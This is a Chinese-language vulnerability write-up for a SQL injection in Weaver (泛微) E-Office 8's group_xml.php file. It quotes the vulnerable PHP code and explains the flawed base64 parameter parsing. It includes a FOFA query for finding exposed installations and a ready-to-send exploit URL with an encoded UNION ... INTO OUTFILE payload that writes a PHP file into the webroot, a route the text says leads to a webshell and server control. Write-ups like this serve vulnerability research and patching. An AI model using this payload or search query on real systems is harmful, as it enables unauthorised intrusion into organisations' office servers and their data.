# 泛微OA E-Office group_xml.php SQL注入漏洞
|
||
|
||
## 漏洞描述
|
||
|
||
泛微OA E-Office group_xml.php文件存在SQL注入漏洞，攻击者通过漏洞可以写入Webshell文件获取服务器权限
|
||
|
||
## 漏洞影响
|
||
|
||
```
|
||
泛微OA E-Office 8
|
||
```
|
||
|
||
## FOFA
|
||
|
||
```
|
||
app="泛微-EOffice"
|
||
```
|
||
|
||
## 漏洞复现
|
||
|
||
登录页面
|
||
|
||
|
||
|
||
存在漏洞的文件为 `inc/group_user_list/group_xml.php`
|
||
|
||
```
|
||
session_start( );
|
||
include_once( "inc/conn.php" );
|
||
include_once( "inc/xtree_xml.inc.php" );
|
||
include_once( "inc/utility_all.php" );
|
||
header( "Expires: Mon, 26 Jul 1997 05:00:00 GMT" );
|
||
header( "Cache-Control: no-cache, must-revalidate" );
|
||
header( "Pragma: no-cache" );
|
||
header( "Content-Type: text/xml" );
|
||
$pararr = explodestpar( $_REQUEST['par'] );
|
||
$groupid = $pararr['groupid'];
|
||
if ( $groupid == "" )
|
||
{
|
||
exit( );
|
||
}
|
||
$groupurl_fix = "?";
|
||
$userurl_fix = "?";
|
||
if ( 0 < strpos( $pararr['group_url'], "?" ) )
|
||
{
|
||
$groupurl_fix = "&";
|
||
}
|
||
if ( 0 < strpos( $pararr['user_url'], "?" ) )
|
||
{
|
||
$userurl_fix = "&";
|
||
}
|
||
$xtreeXml = new xtreeXml( );
|
||
$xtreeXml->initXml( );
|
||
if ( $pararr['group'] == 1 )
|
||
{
|
||
$sql = "SELECT * FROM pub_group WHERE GROUP_ID=".$groupid."";
|
||
}
|
||
else
|
||
{
|
||
$sql = "SELECT * FROM USER,USER_GROUP WHERE USER_GROUP.GROUP_ID=".$groupid."";
|
||
}
|
||
$rs = exequery( $connection, $sql );
|
||
$row = mysql_fetch_array( $rs );
|
||
$groupmember = $row['GROUP_MEMBER'];
|
||
```
|
||
|
||
$groupid没有被双引号包裹，然后造成注入。然后$groupid来自于$pararr['groupid'];其中经过了$explodestpar这个函数
|
||
|
||
```
|
||
function explodeStPar( $enpar )
|
||
{
|
||
$depar = base64_decode( $enpar );
|
||
$arrpar = explode( "|", $depar );
|
||
if ( !is_array( $arrpar ) )
|
||
{
|
||
return false;
|
||
}
|
||
$i = 0;
|
||
for ( ; $i < sizeof( $arrpar ); ++$i )
|
||
{
|
||
$strpar = $arrpar[$i];
|
||
$tmparr = explode( ":", $strpar );
|
||
$j = 0;
|
||
for ( ; $j < sizeof( $tmparr ); ++$j )
|
||
{
|
||
if ( $j == 0 )
|
||
{
|
||
preg_match( "/\\[([a-z0-9-_].+)\\]/i", $tmparr[$j], $exp );
|
||
$par = $exp[1];
|
||
}
|
||
else
|
||
{
|
||
preg_match( "/\\[(.*)\\]/i", $tmparr[$j], $exp );
|
||
$val = $exp[1];
|
||
}
|
||
}
|
||
if ( trim( $par ) != "" )
|
||
{
|
||
$rearr[$par] = $val;
|
||
}
|
||
}
|
||
return $rearr;
|
||
}
|
||
```
|
||
|
||
构造EXP写入文件
|
||
|
||
```
|
||
[group]:[1]|[groupid]:[1 union select '<?php phpinfo()?>',2,3,4,5,6,7,8 into outfile '../webroot/vulntest.php']
|
||
|
|
||
| base64
|
||
|
|
||
/inc/group_user_list/group_xml.php?par=W2dyb3VwXTpbMV18W2dyb3VwaWRdOlsxIHVuaW9uIHNlbGVjdCAnPD9waHAgcGhwaW5mbygpPz4nLDIsMyw0LDUsNiw3LDggaW50byBvdXRmaWxlICcuLi93ZWJyb290L3Z1bG50ZXN0LnBocCdd
